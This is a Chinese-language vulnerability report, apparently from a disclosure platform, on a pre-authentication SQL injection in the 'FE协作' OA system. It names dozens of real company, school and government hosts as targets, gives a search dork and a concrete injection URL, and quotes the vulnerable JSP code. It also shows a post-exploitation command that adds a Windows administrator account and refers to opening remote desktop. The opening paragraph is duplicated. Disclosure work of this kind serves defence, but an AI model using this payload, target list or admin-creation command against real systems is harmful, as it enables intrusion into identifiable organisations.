### 简要描述： ### 详细说明： 总 、 疯狗叔叔.....通用型的。。等待确认 全版本sql注入漏洞，直接拿下服务器的。。。无需登录 intitle:"fe协作" 涉及客户群体为： 大型企业（如：拉芳集团等等超大企业）、学校（北京师范）、医药、政府（如：珠海市人民防空办公室、广东省渔政总队珠海支队、广东煤炭地质局等等。。。）、能源（电网）、银行等等 http://oa.bamatea.com http://oa.moonbasa.com http://oa.etonetech.com http://oa.ztcz.cn http://218.249.130.74 http://119.146.190.170:9988 http://zhidao.baidu.com http://wenku.baidu.com http://223.4.22.36 http://222.243.160.83:9090 http://www.chipshow.cn http://116.205.96.170:9090 http://www.sxjbjt.com:9090 http://122.225.203.168:8888 http://oa.chinabed.com http://oa.lutongnet.com http://oa.zetacn.com:9090 http://oa.zhcpt.edu.cn http://www.doc88.com http://oa.sinodata.com.cn http://www.docin.com http://www.koyochem.com:8080 http://61.186.155.27 http://oa.nyinn.cn http://115.236.65.115:9090 http://119.146.190.118:8089 http://219.137.250.133 http://123.133.29.174:9090 http://koa.ecp888.com http://www.cting.com.cn http://oa.suncorps.cn http://59.41.47.211 http://oa.bamatea.com:9090 http://oa.zhenaiws.com...
### 简要描述： ### 详细说明： 总 、 疯狗叔叔.....通用型的。。等待确认 全版本sql注入漏洞，直接拿下服务器的。。。无需登录 intitle:"fe协作" 涉及客户群体为： 大型企业（如：拉芳集团等等超大企业）、学校（北京师范）、医药、政府（如：珠海市人民防空办公室、广东省渔政总队珠海支队、广东煤炭地质局等等。。。）、能源（电网）、银行等等 http://oa.bamatea.com http://oa.moonbasa.com http://oa.etonetech.com http://oa.ztcz.cn http://218.249.130.74 http://119.146.190.170:9988 http://zhidao.baidu.com http://wenku.baidu.com http://223.4.22.36 http://222.243.160.83:9090 http://www.chipshow.cn http://116.205.96.170:9090 http://www.sxjbjt.com:9090 http://122.225.203.168:8888 http://oa.chinabed.com http://oa.lutongnet.com http://oa.zetacn.com:9090 http://oa.zhcpt.edu.cn http://www.doc88.com http://oa.sinodata.com.cn http://www.docin.com http://www.koyochem.com:8080 http://61.186.155.27 http://oa.nyinn.cn http://115.236.65.115:9090 http://119.146.190.118:8089 http://219.137.250.133 http://123.133.29.174:9090 http://koa.ecp888.com http://www.cting.com.cn http://oa.suncorps.cn http://59.41.47.211 http://oa.bamatea.com:9090 http://oa.zhenaiws.com http://www.koyochem.com:9191 http://60.208.131.46:9090 http://219.131.221.174:9090 http://oa.bnuz.edu.cn:8080 http://183.238.59.61:9090 http://218.205.208.22:9090 http://oa.xhlbdc.com http://124.193.165.174:9090 http://218.75.87.186:9090 http://oa.eva-group.com:511 http://113.106.92.16:9090 http://oa.cqmsy.com http://cting.com.cn http://220.231.158.211 http://oa.tiholding.cn http://124.172.170.141:9090 http://oa.hengdigroup.com:9090 http://www1.elkay.com.cn:9090 http://www.gzpiano.com http://oa.zaffer.cn http://oa.gdisg.com ....... 具体分析如下： 在witapprovemanage\apprvaddNew.jsp中 ``` <% Dao dao = (Dao)ResourceManage.getContext("dao"); WitCollocate wit = (WitCollocate)ResourceManage.getContext("witCollocate"); DataTable table = wit.getModels(); DataTable apps = wit.getAppResource(); String flowid = ""; FieldSet fs = null; String tablenameStr = ""; if(request.getParameter("flowid")!=null){ flowid = request.getParameter("flowid");//获取变量 fs= dao.getFieldSetByFilter(dao.getTableName("WF_MODEL")," WM00= '" + flowid + "'");//这里直接来了 tablenameStr = fs.getString("WM04"); } ``` 注入点为：http://oa.bamatea.com/witapprovemanage/apprvaddNew.jsp?flowid=11 贴个图出来吧 [<img src="https://images.seebug.org/upload/201405/14114303934c67d65b59a3c099cc38c69dc5af40.jpg" alt="N_V)6%F]%0`VEMGXC[2IG$8.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/14114303934c67d65b59a3c099cc38c69dc5af40.jpg) 直接执行命令添加管理员即可 [<img src="https://images.seebug.org/upload/201405/1411435737e28c4b5e7db8eae1b623ea8572da52.jpg" alt="GTPU1B3($WDW[R`}X)~OMQM.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1411435737e28c4b5e7db8eae1b623ea8572da52.jpg) 直接添加管理员 net user admin admin!@! /add && net localgroup administrators admin /add [<img src="https://images.seebug.org/upload/201405/141145545f3718a0abfee22d2594d41ccd744b03.jpg" alt="SQR5M(KB$K@[(5Y%XU3WC1Y.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/141145545f3718a0abfee22d2594d41ccd744b03.jpg) 开3389服务器就爆菊了 ### 漏洞证明： [<img src="https://images.seebug.org/upload/201405/1411435737e28c4b5e7db8eae1b623ea8572da52.jpg" alt="GTPU1B3($WDW[R`}X)~OMQM.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1411435737e28c4b5e7db8eae1b623ea8572da52.jpg) 直接添加管理员 net user admin admin!@! /add && net localgroup administrators admin /add [<img src="https://images.seebug.org/upload/201405/141145545f3718a0abfee22d2594d41ccd744b03.jpg" alt="SQR5M(KB$K@[(5Y%XU3WC1Y.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/141145545f3718a0abfee22d2594d41ccd744b03.jpg) 开3389服务器就爆菊了
